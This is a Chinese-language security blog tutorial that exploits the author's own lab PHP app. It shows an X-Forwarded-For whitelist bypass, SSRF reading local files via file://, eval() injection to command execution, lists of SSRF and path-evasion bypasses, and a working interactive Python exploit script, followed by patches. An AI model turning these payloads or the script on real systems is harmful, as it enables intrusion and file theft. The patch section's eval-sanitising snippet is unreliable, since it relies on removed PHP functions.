侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

大家好,希望你们一切都好!今天我们将继续我们的 Python 黑客系列,但这一次我们不会介绍基础知识,而是实际利用我们的一些知识来构建一个漏洞利用!

将涵盖哪些内容?

  1. 侦察
  2. 易受攻击的代码
  3. 漏洞类型和绕过
  4. 自动化漏洞利用/PoC
  5. 打补丁
  6. 概述

侦察

我已经构建了一个非常基本的应用程序,它容易受到一些事情的影响,我将在下面发布代码,您可以查看它,但首先让我们接近该应用程序并使用 Gobuster 进行一些侦察!我将使用 Gobuster,因为它是我目前在我的机器上拥有的自定义列表。

什么是 GoBuster?

GoBuster 是一个查找目录、文件和虚拟主机的工具,提供了 VHOST 或目录和文件的列表!这是一个用 Go 编写的了不起的工具。

如何在 Kali Linux 上安装?

sudo apt-get install gobuster

目录列表和隐藏文件的语法。

Gobuster dir -u $URL -w $wordlist

(dir) 是模式,在我们的例子中它代表目录(-u) 是 URL,(-w) 是字典列表。

默认情况下,在 Kali Linux 上,您可以在/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 中找到预先构建的目录列表字典列表,现在我们将添加 (-x) 标志,它会给我们添加扩展的选项例如,如果我们在像url.com这样的 URL 上运行 GoBuster,我们还可以附加像.js、.php、.html这样的扩展所以现在它看起来像url.com/test < directory, url。 com/test.php < 附加我们使用 (-x) 标志添加的扩展名。

完整语法:

gobuster dir -u 0day.fun -w wordlist.txt -x php, html, xml, js, css
侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

请注意,这运行得很快,因为我有意创建了一个包含我们正在寻找的东西的字典列表,但在现实生活中,我上面给出的词表也可以正常工作!

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

正如你看到的,我grepping的博客中附带卡利Linux的默认单词表,它包含博客默认。

现在我们已经发现了博客目录,让我们使用相同的语法进一步扫描它,除了将/Blog附加到 URL 例如url.com/Blog

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

我们看到一个名为bypass.php的页面,默认情况下它也在默认的 wordlist 中作为bypass,当然,由于 (-x) 值,.php被附加了。

我们查看以下网址:0day.fun/Blog/bypass.php

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

迎接我们的是“401”是什么意思?

401 是客户端 HTTP 错误状态代码响应。这是一个未经授权的错误,这意味着它可能需要凭据,但我们在这里没有看到任何类型的身份验证。在这种情况下,我通常会对参数进行模糊测试,因为我们可以看出它没有使用基本身份验证,因为没有登录提示。

但是,我将获取此页面的代码并向您展示此处的问题,同时还提供有关如何在没有代码的情况下盲目绕过这些问题的提示。

易受攻击的代码、漏洞类型和绕过


<?php $whitelist = array("127.0.0.1", "1.3.3.7"); if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist))) { header("HTTP/1.1 401 Unauthorized"); } else { print("Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!"); $location=$_GET['url']; // Get the URL from the user. $curl = curl_init(); curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable curl_exec ($curl); curl_close ($curl); } ?>

首先要发现的是一个数组。

什么是数组?

PHP 中的数组是一种数据结构,它允许我们在单个变量下存储多个相似数据类型的元素。

$whitelist = array("127.0.0.1", "1.3.3.7");

我们定义了一个名为whitelist的变量,它具有一个数组的值,该数组包含两个浮点数,一个是127.0.0.1,它是我们的本地主机,另一个是1.3.3.7,它是一些人可能知道的 l33t 数字只是添加小数使其成为浮点数。

浮点数只是一个带小数的数字!

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

此代码使用 if 语句,该语句表示X-Forwarded-For 标头是否已设置并且没有白名单变量(数组)中的浮点数之一的值,然后显示 HTTP 401 Unauthorized

在 PHP 中,我们使用如说 False 和$_SERVER作为 $_SERVER 是一个包含诸如标题、路径和脚本位置等信息的数组。此数组中的条目由网络服务器创建。

HTTP_X_FORWARDED_FOR是一个名为X-Forwarded-For的标头

什么是标头?根据标头,它们可以执行不同的操作,例如 X-Forwarded-Host:可用于将连接转发到不同的主机。

然而,上面的代码是脆弱的。为什么以及如何?

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

首先它将X-Forwarded-For标头的值与数组进行比较,因此如果我们将X-Forwarded-For标头的值设置为127.0.0.1那么这将返回 true。相反,它应该根据 REMOTE_ADDR 检查它,但是我们稍后会进行修补,现在,让我们尝试绕过它!

我将使用Burp Suite拦截 HTTP/HTTPS 请求流量,从而允许我们修改客户端和服务器之间发送的值。

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复
侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

如您所见,我已将标头和值添加到请求中,一旦我发送请求,我们就成功绕过了白名单。

但是,这是了解后端在做什么,我们如何在不知道源代码的情况下绕过它?

您可以尝试以下一些 HTTP 标头

X-Forwarded-For: X-Originating-IP: X-Remote-IP: X-Remote-Addr: X-Client-IP:

这些是开发人员将检查的最常见的 HTTP 标头,因为他们将设置他们正在开发的这些类型的应用程序,但如果他们在主机上工作,则需要开发人员通过代理或本地主机,因此他们使用这些不安全的方法如果我们获得了我们正在检查的 IP,那么我们就可以轻松绕过这些已实施的保护措施。一个例子:

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_CLIENT-IP'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

简单地使用数组的值设置 X-Client-IP 标头将绕过这个现在在 Burp Suite 上有一个入侵者部分,它允许您发送多个请求我建议您在所有本地 IP 地址上执行此操作,并使用上面的所有 HTTP 标头这将有更高的成功机会。我不会在今天的博客中介绍它,但是,我会将您链接到有关 Burp Suite 中的入侵者的博客。入侵者burpsuite

让我们回顾一下其余的代码。

<?php 

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
  print("Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!");
    $location=$_GET['url'']; 
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location);
    curl_exec ($curl); 
    curl_close ($curl);

}

?>

这里我们继续使用“else”语句,它基本上是说如果上面的代码没有返回 False 就在 else 语句之后运行任何东西。

$location=$_GET['url'];

从位置变量中获取用户的 URL。

$_GET[‘url’]; 正在使用参数url定义 HTTP 获取变量,例如url.com/Blog/bypass.php?url=

$curl = curl_init();

我们定义了一个名为curl的变量,它的值是curl_init();

PHP中的cURL是什么?这个库允许我们在 PHP 中发出 HTTP 请求。您可以向服务器发出 GET、POST 和 HEAD 请求、检索 HTTP 标头、下载 HTML 页面、上传文件、提交表单等。

使用 cURL 库检索网页的示例

<?php
curl_setopt_array(
$ch, array(
CURLOPT_URL => 'http://www.website.com/',
CURLOPT_RETURNTRANSFER => true
));

$output = curl_exec($ch);
echo $output;

CURLOPT_URL 细节

CURLOPT_RETURNTRANSFER 当设置为 false 或 true curl_exec() 将返回 true 或 false。在我们的例子中,这是真的。如果为 true 并且请求成功,则 curl_exec() 将显示页面的内容。

$output = curl_exec($ch);
echo $output;

只需将输出存储在输出变量中,然后回显输出。

让我们回头看看我们现在正在处理的代码。

curl_init();

只是初始化一个 cURL 会话

curl_setopt ($curl, CURLOPT_URL, $location);

在我们的例子中,我们使用curl_setopt()函数,它允许我们手动解析和设置 URL。这里的问题是它信任我们可以操纵的位置变量的值。

你看到这里的问题是完全控制位置变量,因为没有清理或检查它信任用户输入,因此我们现在可以向内部服务发送请求。

curl_exec ($curl); 
curl_close ($curl);

执行请求,然后关闭会话。

此漏洞称为SSRF

什么是SSRF

SSRF 是一种漏洞类型,当我们可以访问本地服务(例如 localhost)时,我们可以执行侦察,例如通过连接和查看输出(横幅抓取)来查看网络上打开了哪些端口,这称为XSPA,可以是一个链.

这里的主要关键是我们可以向内部网络发送服务器端请求。我建议在 URL 回调、网络钩子位置和几乎任何你能做的事情上测试这个。不要在 ESI(外部服务交互)之间混淆,它有两种类型的 DNS 和 HTTP 这既没有影响也不是 SSRF!

让我们先给它。

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

我们可以成功地从外部访问内部网络。现在对此有更大的影响。当在 cURL 请求中未设置open_basedir时,我们实际上可以使用 file:/// 协议允许我们读取内部文件,例如 /etc/passwd 现在在我们的例子中没有过滤器但通常会有特别是如果它们故意允许此选项。我将在下面列出一些常见的绕过,但首先,让我们利用它并阅读内部文件。

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

您现在可以枚举 SSH 密钥等系统,但是,我们不会这样做。我们现在将枚举/var/www/html/Blog/var/www/Blog目录以获取更多可能易受攻击的文件。

SSRF 绕过

http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://0 http://0.0.0.0:80 localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CDIR绕过

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

十进制绕过

http://2130706433/ = http://127.0.0.1 http://017700000001 = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

十六进制绕过

127.0.0.1 = 0x7f 00 00 01 0x7f000001 = http://127.0.0.1 0xc0a80014 = http://192.168.0.20

使用file://协议时,可能会阻止诸如 /etc/passwd 之类的内容,因此您可以进行 bash evasion。

Bash 绕过技巧

$u /etc$u/passwd$u

如果$u不存在,它将被视为空字符串

/et*/pawd**

可以使用单引号和双引号

/e"tc"/pa"ss"wd

然而,以上使用 file:// 协议不起作用,这些更多用于命令注入/LFI 案例。

注意以下可能导致代码执行的函数

system(); exec(); pcntl_exec(); shell_exec(); open(); ioctl_exec();

进一步侦察我们看到有一个名为test.php的文件

[root@tilix /var/www/html/Blog]$ gobuster dir -u http://0day.fun/Blog/ -w wordlist.txt -x php, js, css, xml, jpg
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://0day.fun/Blog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,
[+] Timeout:                 10s
===============================================================
2021/11/07 13:30:30 Starting gobuster in directory enumeration mode
===============================================================
/bypass.php           (Status: 401) [Size: 0]
/test.php             (Status: 401) [Size: 0]

===============================================================
2021/11/07 13:30:32 Finished
===============================================================

让我们使用 SSRF 查看该文件的内容。

GET /Blog/bypass.php?url=file:////var/www/html/Blog/test.php HTTP/1.1
Host: 0day.fun
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

要求

输出:

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2021 13:33:37 GMT
Server: Apache/2.4.50 (Debian)
Vary: Accept-Encoding
Content-Length: 372
Connection: close
Content-Type: text/html; charset=UTF-8

Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!<?php

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
   $f = @$_GET['call'];
   eval("\$y = \"$f\";");
   echo $x;
}
?>
侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

在这里我们可以做同样的绕过,所以我们不会覆盖,但是我们看到了这个非常有趣的 eval() 函数。

$f = @$_GET['call'];
eval("\$y = \"$f\";");
echo $x;
$f = @$_GET['call'];

首先,我们定义一个名为f的变量,它具有另一个名为call url.com/Blog/test.php?call= 的GET HTTP 变量的值

eval("\$p = \"$f\";");

其次,我们使用 eval() 函数 eval() 将字符串评估为 PHP 代码。有趣的是,我们实际上可以打破字符串分隔符,让我们自己的代码运行,从而让我们执行代码。

首先,如果我们解析url.com/Blog/test.php?call=hello

Eval 看起来像这样

$p = "hello";

但是,如果我们放置一个双引号和一个分号;我们实际上会跳出字符串

$p = "";

现在我们可以执行任何我们想要给我们的 RCE(远程代码执行)

/Blog/test.php?call=";%20system("whoami");//

我们使用“//”来注释掉其余的代码,这样我们的代码就可以运行了!:)

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

在某些情况下,例如我使用以 root 身份运行的 PHP Web 服务器,我们自动成为 root,因为进程以 Sudo 权限运行,但在常规情况下,我们是 www-data。

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

基本的 Python 自动化

import requests, time, os
print("Options: 1: Whitelist URL Bypass, 2: SSRF+Internal File Access, 3: Code Execution")
option = int(input("Option:"))
if option == 1:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the URL Whitelist Bypass!\n")
    try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)
        if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")
elif option == 2:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the SSRF Exploit where you can read internal files.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")
            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

elif option == 3:
    os.system("clear")
    print("Welcome to the Code Execution.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            cmd1 = f'"; echo exec({cmd}); //'
            bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1, headers=bypass)
            if shell_output.status_code == 200:
                print(shell_output.text)
            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

首先我们导入三个模块

你可以从我以前的博客中自己阅读很多这样的代码,所以我将介绍一些我们没有涉及或需要涉及的内容。

option = int(input("Option:"))
if option == 1:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the URL Whitelist Bypass!\n")

首先,我们创建一个选项变量,该变量具有输入的值,此特定输入仅允许整数作为其类型 (int)

if option == 1:

我们启动一个 if 语句并说明如果用户输入的值在选项变量中有一个来执行此操作,在我们的例子中是首先使用 OS 模块清除屏幕。

操作系统模块允许我们在机器上运行操作系统命令。

然后我们使用time.sleep()函数,因为 time 模块允许使用该函数。

然后我们使用print()函数。

try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)
        if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")
try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)

我们定义了一个之前介绍过的try语句,以便我们可以使用 except() 处理错误。

从现在开始,我将跳过变量,除非它们包含我没有涉及的内容,但现在您可以阅读它们并了解它们的用途。

bypass_header={"X-Forwarded-For":"127.0.0.1"}

我们创建了一个名为bypass_header的变量,它以类似数组的格式设置,它具有X-Forwarded-For:标头的值和127.0.0.1我们使用它的值,因为我们将绕过我们将使用的白名单这多次,所以我只会在整个博客中解释一次。

r = requests.post(url, headers=bypass_header)

这里我们设置了一个名为r的响应变量,它使用 requests 模块发送一个 post 请求。它发送它从存储在变量url中的input()函数获取的URL,然后它传递标头,这实际上将设置我们在我们的案例中解析的标头,我们解析上面定义的变量,其中包含X -Forwarded-For标头。

if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")

这里我们使用 if 语句来检查r.status_code现在是否返回200这意味着我们之前定义的响应变量正在检查从 URL 返回的状态代码,如果是 200 我们将通知用户并使用exit() 函数退出应用程序。

ELIF声明是直截了当的做同样的事情,除了打印不同的消息和检查不同的状态代码。

except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")

在这种情况下,如果请求失败并返回 ConnectionError,我们将使用 except() 进行错误处理,然后我们将通过 print() 函数向用户显示错误消息。

except requests.exceptions.MissingSchema:

只需检查是否已设置 HTTP/HTTPs 协议,因为这是通过请求模块成功发送请求的要求。

这是代码的第一部分完成!白名单绕过,简单吧?

第二部分

elif option == 2:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the SSRF Exploit where you can read internal files.")
    url = input("URL:") ##I will not cover the above because we have already covered it in the first part of this code explanation.
    while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")
            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

这里我们有一些类似的东西,所以我不会涵盖所有内容,现在尝试自己阅读并理解它。我不会介绍例外情况,也不会介绍 bypass_header。

while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")

这里我们使用了一个while True循环,这意味着它在我们退出之前始终为 True。这意味着它只会在里面循环任何东西。我还没有涉及这个,所以让我们看一个例子。

name = input("What is your name?:")
while True:
   print("Hello", name)

这将打印 Hello 和 name 变量的值,直到它们使用键盘中断退出应用程序。

我们也可以解析它的条件 例如

name = input("What is your name?:")
while (name):
   print("Hello", name)

(name)是条件。

侦察|漏洞代码评估|漏洞利用自动化|绕过和修复

现在我们明白这是一个永无止境的循环,我们将使用它,以便他们可以连续发送命令。

while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")

在这里,我们定义了 try 语句并再次用于错误处理。

然后我们定义一个名为 cmd value 的 input() 函数的变量,现在这个 input() 函数实际上将向 Web 服务器发送命令,这有多酷?

            if cmd == "":
                print("Enter a valid value")

只需定义一个 if 语句并检查 cmd 是否为空(“”),如果是,则打印输入有效值。

现在因为我们定义了一个 if 语句,我们很可能会使用 else 或 elif 语句,所以让我们看看第二部分的其余部分。

            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")
          bypass_header={"X-Forwarded-For":"127.0.0.1"}
          r = requests.get(url+"?url="+cmd, headers=bypass_header)

这里我们定义了另一个响应变量,其值是向我们之前定义的 URL 变量发送一个 GET 请求。

r = requests.get(url+"?url="+cmd, headers=bypass_header)

但是你可能会问“?url=”是什么?好吧,它附加了易受攻击的 GET HTTP 参数,因此用户不必键入 URL+Param。

+cmd正在解析将附加到 URL 参数上的 cmd 变量值

例如

url.com/Blog/test.php?url=i%20sent%20this%2.. %20 是一个 URL 编码空间,请求模块将在后台自动发送。

headers=bypass_heade只是添加标题,这样我们就可以绕过白名单。

if r.status_code == 200:
                    print(r.content)

如果状态代码返回 200,那么我们将看到输出应该是一些 HTML/PHP 等或来自file:///协议的文件.

                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'"

上面解释了错误处理。

第二个选项结束

elif option == 3:
    os.system("clear")
    print("Welcome to the Code Execution.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            cmd1 = f'"; echo exec({cmd}); //'
            bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1)
            if shell_output.status_code == 200:
                print(shell_output.text)
            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")
   cmd = input("$ ")
   cmd1 = f'"; echo exec({cmd}); //'

有些人可能像

好吧,这是为了代码执行,所以如果你记得我们正在利用 eval 并且需要转义字符串。我们有很多方法可以做到这一点,我们可以让用户手动输入有效载荷,但是,我不希望他们经常输入“; echo exec(“whoami”); //

上面的代码创建了两个变量,一个叫做cmd,它有一个 input() 函数,另一个叫做cmd1,它有一个f 字符串

什么是 F 弦?

F-strings 提供了一种在字符串文字中嵌入表达式的方法

现在我们可以使用 . 添加然而,我想保存,对几个博客。

   cmd1 = f'"; echo exec({cmd}); //'

在这里,我们定义了一个带单引号的 if 字符串,因此我们可以使用双引号结束字符串分隔符,否则如果我们使用双引号,它将结束F字符串。

我们现在在我们之前的 cmd 周围附加“; echo exec(); //所以当我们发送 whoami 时,它实际上看起来像这样“; echo exec(our_cmd); //

如果您仍然不明白,我们基本上有一个预制的字符串,用于利用易受攻击的eval()函数,我们只是将我们的 cmd 附加到它并将其发送到服务器。

现在只是要注意这是在while True循环中,因此它永远不会退出,允许我们继续发送命令。

 bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1)
            if shell_output.status_code == 200:
                print(shell_output.text)

你知道这里的一切,但你可能会感到困惑。

  shell_output = requests.get(url+"?call=" +cmd1)

第三部分的响应变量称为shell_output而不是r,这会发送一个 GET 请求,附加?call= HTTP Get Variable 到 URL + 我们的 cmd1,它将包含用户的命令并将其包装在exec() PHP 函数中,这允许我们执行与system()相同的系统命令

如果状态代码返回 200,它将根据用户的命令打印出响应文本,这些文本将是系统文件等。

            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

这是错误处理。

现在会有一段我运行上面的代码并利用 RCE/SSRF 漏洞的视频。

打补丁

首先,如果我们无法绕过白名单,这一切都不会发生,所以让我们解决这个问题。

<?php

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['REMOTE_ADDR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
   $f = @$_GET['call'];
   eval("\$y = \"$f\";");
   echo $x;
}
?>

现在它将 REMOTE_ADDR 与白名单进行比较,白名单是他们的 IP 地址,而不是 X-Forwarded-For 值。

现在对于 SSRF,它只是不信任位置变量,因此也添加了一些清理/过滤器和一些黑名单,然后设置 open_basedir 这将阻止使用 file:// 协议。

eval() 函数在很多方面都是安全的,这将是我将来可以写博客的东西。我建议评估 VM 内的代码。我在写这篇博客或堆栈溢出时也看到了一篇快速文章,其中介绍了如何防止我们之前利用的漏洞。

1 $value = eregi_replace("[ \t\r]","",$value);
2 $value = addslashes($value);
3 $value = ereg_replace("[A-z0-9_][\(]","-",$value);
4 $value = ereg_replace("[\$]","-",$value);
5 @eval("\$val = $value;");

参考:stackoverflow.com/questions/17645141/safely..

概述

我相信这就是全部,我打算添加过滤器和其他一些东西,但是我没有找到时间,所以这里是我在 3-4 小时内写的一个快速博客。

我希望你喜欢今天的博客。

它涵盖了许多实用技能,但也只是一些内容,可以向您展示如果现实生活中的应用程序具有这些功能和库并信任用户输入,那么它们是多么容易被利用。

社交媒体

推特:twitter.com/RiotSecTeam

谢谢!像往常一样,总是很感激:)

下次再见,再见!

from

One comment

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注